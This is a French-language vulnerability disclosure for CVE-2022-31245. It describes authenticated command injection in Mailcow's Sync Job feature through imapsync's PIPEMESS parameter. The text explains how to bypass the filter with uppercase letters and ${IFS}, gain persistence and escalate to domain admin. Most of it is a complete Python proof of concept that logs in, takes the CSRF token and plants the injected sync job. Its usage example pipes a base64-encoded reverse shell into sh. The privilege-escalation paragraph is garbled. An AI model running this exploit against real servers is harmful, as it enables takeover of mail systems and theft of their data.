
CVE-2022-31245 : RCE et escalade de privilèges d'administrateur de domaine pour Mailcow
CVE-2022-31245 : Escalade de privilèges RCE et Admin de domaine pour Mailcow. Inclut le POC.
Signalé et corrigé : 2022-05
Version corrigée : https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d
CVE : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31245
Sévérité : 3/3
Type : Injection de commande, RCE, Prise de contrôle de domaine
Versions affectées : au moins 2019 - 2022-05c
Une faille existe dans toutes les versions récentes de Mailcow où un utilisateur normal du système peut exploiter la fonctionnalité « Sync Job » pour obtenir un shell via une injection de commande dans imapsync. En utilisant cette vulnérabilité, un attaquant peut ensuite pivoter facilement vers la base de données et élever ses privilèges au rôle d'« Admin de domaine » dans Mailcow.
Cet exploit inclut la persistance par défaut car les Sync Jobs s'exécutent sur un minuteur.
Cet exploit compromet l'ensemble de l'instance Mailcow. Testé et fonctionnel sur la version 2022-05c. Corrigé dans la version 2022-05d.
En suivant les étapes ci-dessous, la vulnérabilité peut être reproduite.
Obtenir un shell :
hostname=MAILCOW_IP, Port=IMAP_PORT, Username=CURRENT_USER, Password=CURRENT_PASS, Encryption=PLAIN, Interval=1, Active=Check, Custom Parameters=--debug --nosslcheck --PIPEMESS=CMD
Où le champ « Custom Parameters » est le champ important. CMD peut être une commande shell arbitraire sans espaces. Utiliser les majuscules est important !Exemple de payload pour Custom Parameters :
--debug --nosslcheck --PIPEMESS=touch${IFS}test.txt
CMD ne peut pas contenir d'espaces, de guillemets ou de barres obliques ; utilisez ${IFS} à la place des espaces. Les majuscules pour --PIPEMESS sont importantes pour contourner la vérification dans functions.mailbox.inc.php à la ligne 340 :
if (strpos($custom_params, 'pipemess')) {
$custom_params = '';
}
Cette commande en majuscules fonctionne toujours car imapsync est insensible à la casse.
Escalade de privilèges :
envDBUSER et DBPASSmysql et les identifiantsPOC automatisé. Le POC pourrait dans certains cas nécessiter des modifications pour s'exécuter contre des instances Mailcow non locales.
#!/bin/python3
description = """
Mailcow authenticated RCE. Only for educational purposes!!
By: ly1g3[at]tuta.io
This exploit can be used to get mailcow domain admin using mysql credentials found in "env" after getting shell.
Quotes, spaces and slash cant be used in cmd. Use ${IFS} as space. End command with ; is recommended.
Example reverse shell use: --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;' where PYTHON_REVERSE_SHELL_BASE64 is python reverse shell.
Example usage: ./mailcow_poc1.py --url https://192.168.1.2 --user [email protected] --passwd testpass --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;'
"""
import requests
import urllib
import sys
from urllib.parse import urlparse
import argparse
from argparse import RawTextHelpFormatter
from datetime import datetime
parser = argparse.ArgumentParser(description=description, formatter_class=RawTextHelpFormatter)
parser.add_argument('--url', help='Url to the mailcow server', required=True)
parser.add_argument('--user', help='Mailcow username, example [email protected]', required=True)
parser.add_argument('--passwd', help='Mailcow user password', required=True)
parser.add_argument('--cmd', help='Command to execute', required=True)
args = parser.parse_args()
base_url = args.url
# hostname = urlparse(base_url).netloc
hostname = '127.0.0.1'
user = args.user
password = args.passwd
cmd = args.cmd
# Get the required csrf token
def find_csrf_token(text):
try:
start1 = text.index("var csrf_token")
start2 = text.index("'", start1)
end2 = text.index("'", start2+1)
csrf_token = text[start2+1:end2]
return csrf_token
except:
return ""
login_url = base_url + '/'
s = requests.Session()
# Login
r1 = s.post(login_url, data={'login_user': user, 'pass_user': password}, verify=False)
token = find_csrf_token(r1.text)
if not token:
print("Error no token found, login problems?")
sys.exit(0)
print(f"CSRF token: {token}")
sync_url = base_url + '/api/v1/add/syncjob'
# Create sync job with command injection
attr = f'{{"host1":"{hostname}","port1":"143","user1":"{user}","password1":"{password}","enc1":"PLAIN","mins_interval":"1","subfolder2":"","maxage":"0","maxbytespersecond":"0","timeout1":"10","timeout2":"10","exclude":"(?i)spam|(?i)junk","custom_params":"--debug --nosslcheck --PIPEMESS={cmd}","subscribeall":"1","active":"1","csrf_token":"{token}"}}'
r2 = s.post(sync_url, data={'attr': attr, 'csrf_token': token}, verify=False)
c = r2.content
if c.find(b"mailbox_modified") != -1:
print("Success, rule modified")
elif c.find(b"object_exists") != -1:
print("ERROR: Object exists, remove existing rule before running this")
print(c)
sys.exit(0)
else:
print("ERROR: Something went wrong")
print(c)
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
print("Command may take 1min to execute...")
print(f"Done at: {current_time}")